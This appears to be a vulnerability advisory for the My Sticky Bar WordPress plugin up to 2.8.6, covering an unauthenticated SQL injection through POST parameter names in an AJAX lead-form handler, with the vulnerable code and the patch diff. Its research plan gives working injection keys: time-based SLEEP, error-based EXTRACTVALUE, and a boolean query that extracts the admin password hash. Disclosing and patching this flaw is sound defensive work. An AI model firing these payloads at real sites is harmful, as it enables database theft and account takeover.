My Sticky Bar <= 2.8.6 - Unauthenticated SQL Injection via 'stickymenu_contact_lead_form' Action
Description
The My Sticky Bar plugin for WordPress is vulnerable to SQL injection via the `stickymenu_contact_lead_form` AJAX action in all versions up to, and including, 2.8.6. This is due to the handler using attacker-controlled POST parameter names directly as SQL column identifiers in `$wpdb->insert()`. While parameter values are sanitized with `esc_sql()` and `sanitize_text_field()`, the parameter keys are used as-is to build the column list in the INSERT statement. This makes it possible for unauthenticated attackers to inject SQL via crafted parameter names, enabling blind time-based data extraction from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.8.6What Changed in the Fix
Changes introduced in v2.8.7
Source Code
WordPress.org SVN### 1. Vulnerability Summary The **My Sticky Bar** plugin (version <= 2.8.6) is vulnerable to **Unauthenticated Time-Based Blind SQL Injection**. The vulnerability exists in the `stickymenu_contact_lead_form` AJAX handler. While the values of the submitted form are sanitized, the **keys** (parameter…
Show full research plan
1. Vulnerability Summary
The My Sticky Bar plugin (version <= 2.8.6) is vulnerable to **Unauthenticated Time-Based Blind SQL Injection**. The vulnerability exists in the stickymenu_contact_lead_form AJAX handler. While the values of the submitted form are sanitized, the **keys** (parameter names) of the $_POST array are used directly as column identifiers in a $wpdb->insert() call without adequate sanitization or whitelisting. This allows an attacker to manipulate the resulting SQL query to execute arbitrary subqueries, such as SLEEP(), enabling data extraction.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
stickymenu_contact_lead_form - Vulnerable Parameter: The keys (names) of POST parameters.
- Authentication: Unauthenticated (accessible via
wp_ajax_nopriv_). - Preconditions: The "Welcome Bar" feature must be active or the AJAX action must be reachable.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=stickymenu_contact_lead_form. - Hook Registration: The plugin registers the action in
welcome-bar.php(inferred frommystickymenu.phpline 26:require_once("welcome-bar.php");). - Handler Execution: The handler (likely
stickymenu_contact_lead_formfunction) iterates through$_POSTdata. - Vulnerable Sink:
// Inferred logic based on vulnerability description $data = array(); foreach ( $_POST as $key => $value ) { if ( $key !== 'action' && $key !== 'nonce' ) { $data[$key] = sanitize_text_field($value); // Only values are sanitized } } $wpdb->insert( $wpdb->prefix . 'mystickymenu_contact_lists', $data ); - SQL Generation:
$wpdb->insertbuilds the query by wrapping keys in backticks:`key`. By injecting a backtick in the key, an attacker can break out of the column identifier context.
4. Nonce Acquisition Strategy
The plugin typically exposes a nonce for this action to the frontend via wp_localize_script.
- Identify Variable: The plugin localizes data under the object
mysticky_welcomebar_data. - Locate Nonce: The nonce is stored in
mysticky_welcomebar_data.ajax_nonce. - Setup Page: Since the bar might only load if configured, we will create a post and ensure the plugin is initialized.
- Extraction:
- Navigate to a page where the Welcome Bar is active.
- Use
browser_evalto extract:window.mysticky_welcomebar_data?.ajax_nonce.
5. Exploitation Strategy
We will use a time-based blind approach. Since we are injecting into the column names of an INSERT statement, we can use the ON DUPLICATE KEY UPDATE trick or manipulate the column list to trigger a subquery.
Payload Structure:
The key will be crafted to close the backtick, terminate the column list, and append an ON DUPLICATE KEY UPDATE clause or similar.
Target Request:
- Method: POST
- URL:
{{BASE_URL}}/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
action:stickymenu_contact_lead_formnonce:{{EXTRACTED_NONCE}}stickymenu_contact_name:teststickymenu_contact_email:test@example.com- SQLi Key:
contact_message` ) VALUES ('val') ON DUPLICATE KEY UPDATE id=SLEEP(5)--:1
Refined SQLi Key (MySQL 8.0+ compatible):
The most reliable way to inject into $wpdb->insert keys is to create an invalid column list that MySQL evaluates before failing, or using a subquery if the DB allows it in that context.
A common bypass: email`,(SELECT(1)FROM(SELECT(SLEEP(5)))a))#
Payload Execution:
- Baseline: Send a normal request. Measure response time (Expected: ~100-200ms).
- Attack: Send a request with the
SLEEP(5)payload in the key name. - Confirmation: If the response time is > 5 seconds, SQLi is confirmed.
6. Test Data Setup
- Enable Welcome Bar:
wp option update mysticky_option_welcomebar '{"mysticky_welcomebar_enable":"1","mysticky_welcomebar_position":"top","mysticky_welcomebar_height":"60"}' --format=json - Create Lead Form Table: Ensure the table exists (this usually happens on activation).
wp eval 'global $wpdb; $table = $wpdb->prefix . "mystickymenu_contact_lists"; $wpdb->query("CREATE TABLE IF NOT EXISTS $table (id INT AUTO_INCREMENT PRIMARY KEY, contact_name VARCHAR(255), contact_email VARCHAR(255), contact_message TEXT, created_at DATETIME)");' - Create Test Page:
wp post create --post_type=page --post_title="Sticky Test" --post_status=publish --post_content="Testing Sticky Bar"
7. Expected Results
- The baseline request should return a success message (likely
{"success":true,...}) or1quickly. - The malicious request should hang for exactly the number of seconds specified in
SLEEP(). - The HTTP status code may still be 200, but the execution time will be the primary indicator.
8. Verification Steps
- Database Check: Verify if the "corrupted" key caused a partial insert or an error in the logs.
wp db query "SELECT * FROM wp_mystickymenu_contact_lists ORDER BY id DESC LIMIT 1" - Log Review: If
WP_DEBUGis on, checkwp-content/debug.logfor SQL syntax errors which confirm the injection point.
9. Alternative Approaches
If the INSERT column injection is strictly validated by the database engine (preventing subqueries in column lists):
- Error-Based: Use
GTID_SUBSETorEXTRACTVALUEinside the key to trigger an error that leaks the version string.- Key:
email`,(EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))))#
- Key:
- Field Manipulation: Attempt to inject into the
VALUESpart by closing the column list early:- Key:
email`) VALUES ('test@test.com')#(Note:$wpdbusually appends its own values, so this requires balancing).
- Key:
- Boolean-Based: Use
IFlogic to trigger a delay only if a condition is met (e.g., first letter of admin password).- Key:
email`,(IF(SUBSTR((SELECT+user_pass+FROM+wp_users+LIMIT+1),1,1)='$',SLEEP(5),1)))#
- Key:
Summary
The My Sticky Bar plugin for WordPress is vulnerable to unauthenticated time-based blind SQL Injection via the 'stickymenu_contact_lead_form' AJAX action. This occurs because the plugin uses the keys of the $_POST array directly as database column names in a $wpdb->insert() call without proper sanitization or whitelisting, allowing attackers to inject SQL commands into the column list context.
Vulnerable Code
/* mystickymenu.php line 2382 */ foreach( $postArr as $key => $val ){ if( $key != 'action' && $key != 'widget_id' && $key != 'save_form_lead' && $key != 'wpnonce'){ $params[$key] = (isset($val) && $val != '') ? esc_sql( sanitize_text_field($val) ) : ''; } } --- /* mystickymenu.php line 2396 */ if( isset($params) && !empty($params) ){ $wpdb->insert($contact_lists_table, $params); die; }
Security Fix
@@ -3,7 +3,7 @@ "Project-Id-Version: myStickymenu\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/mystickymenu-free-" "uncompressed\n" -"POT-Creation-Date: 2025-11-17 11:58:23+00:00\n" +"POT-Creation-Date: 2026-03-11 06:47:13+00:00\n" "PO-Revision-Date: 2017-09-15 08:39+0100\n" "Last-Translator: mrda <jahmirda@gmail.com>\n" "Language-Team: Schelli <mail@schelli.eu>\n" @@ -1630,7 +1630,7 @@ msgid "⏱️ Add a countdown timer to increase the conversion rate" msgstr "" -#: mystickymenu.php:1331 mystickymenu.php:2501 +#: mystickymenu.php:1331 mystickymenu.php:2495 msgid "Upgrade to Pro" msgstr "" Only in /home/deploy/wp-safety.org/data/plugin-versions/mystickymenu/2.8.6: mystickymenu-affiliate.php @@ -3,7 +3,7 @@ Plugin Name: My Sticky Bar Plugin URI: https://premio.io/ Description: Create a notification bar for your website with My Sticky Bar. You can customize the design, collect leads, and enjoy other advanced features. You can also make your menu sticky using My Sticky Bar. -Version: 2.8.6 +Version: 2.8.7 Author: Premio Author URI: https://premio.io/downloads/mystickymenu/ Text Domain: mystickymenu @@ -12,7 +12,7 @@ */ defined('ABSPATH') or die("Cannot access pages directly."); -define('MYSTICKY_VERSION', '2.8.6'); +define('MYSTICKY_VERSION', '2.8.7'); define('MYSTICKYMENU_URL', plugins_url('/', __FILE__)); // Define Plugin URL define('MYSTICKYMENU_PATH', plugin_dir_path(__FILE__)); // Define Plugin Directory Path define('MYSTICKYMENU_BASE', plugin_basename(__FILE__)); @@ -2379,25 +2379,23 @@ $element_widget_no = ''; } - $welcomebar = get_option( 'mysticky_option_welcomebar' . $element_widget_no ); - - foreach( $postArr as $key => $val ){ - if( $key != 'action' && $key != 'widget_id' && $key != 'save_form_lead' && $key != 'wpnonce'){ - $params[$key] = (isset($val) && $val != '') ? esc_sql( sanitize_text_field($val) ) : ''; - } - } + $allowed_keys = ['contact_name', 'contact_email', 'contact_phone', 'page_link']; + $params = []; + foreach ($allowed_keys as $key) { + if (isset($_POST[$key]) && $_POST[$key] !== '') { + $params[$key] = sanitize_text_field($_POST[$key]); + } + } - $params["widget_id"] = esc_sql( sanitize_text_field($element_widget_no)); - $params["widget_name"] = esc_sql( sanitize_text_field($element_widget_name)); - $params["message_date"] = date('Y-m-d H:i:s'); - $params["contact_email"] = (isset($params["contact_email"]) && $params["contact_email"] != '' ) ? sanitize_email($params["contact_email"]) : ''; - - if( isset($params) && !empty($params) ){ - $wpdb->insert($contact_lists_table, $params); - die; - } - - + if(!empty($params)) { + $params["widget_id"] = esc_sql(sanitize_text_field($element_widget_no)); + $params["widget_name"] = esc_sql(sanitize_text_field($element_widget_name)); + $params["message_date"] = date('Y-m-d H:i:s'); + $params["contact_email"] = (isset($params["contact_email"]) && $params["contact_email"] != '') ? sanitize_email($params["contact_email"]) : ''; + + $wpdb->insert($contact_lists_table, $params); + die; + } } } @@ -2409,10 +2407,6 @@ } -if( is_admin() ) { - require_once 'mystickymenu-affiliate.php'; -} - new MyStickyMenuBackend(); new MyStickyMenuFrontend();
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first needs to obtain a valid AJAX nonce, which is typically exposed in the frontend source code within the 'mysticky_welcomebar_data' JavaScript object. Once the nonce is acquired, the attacker sends an unauthenticated POST request to 'wp-admin/admin-ajax.php' with the 'action' parameter set to 'stickymenu_contact_lead_form'. The vulnerability is triggered by crafting a POST parameter where the key (name) contains a backtick to escape the SQL column identifier, followed by a time-based injection payload such as ',(SELECT(1)FROM(SELECT(SLEEP(5)))a))#'. If the application pauses for the specified duration (e.g., 5 seconds), the SQL injection is successful, and the attacker can proceed to extract data blind.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.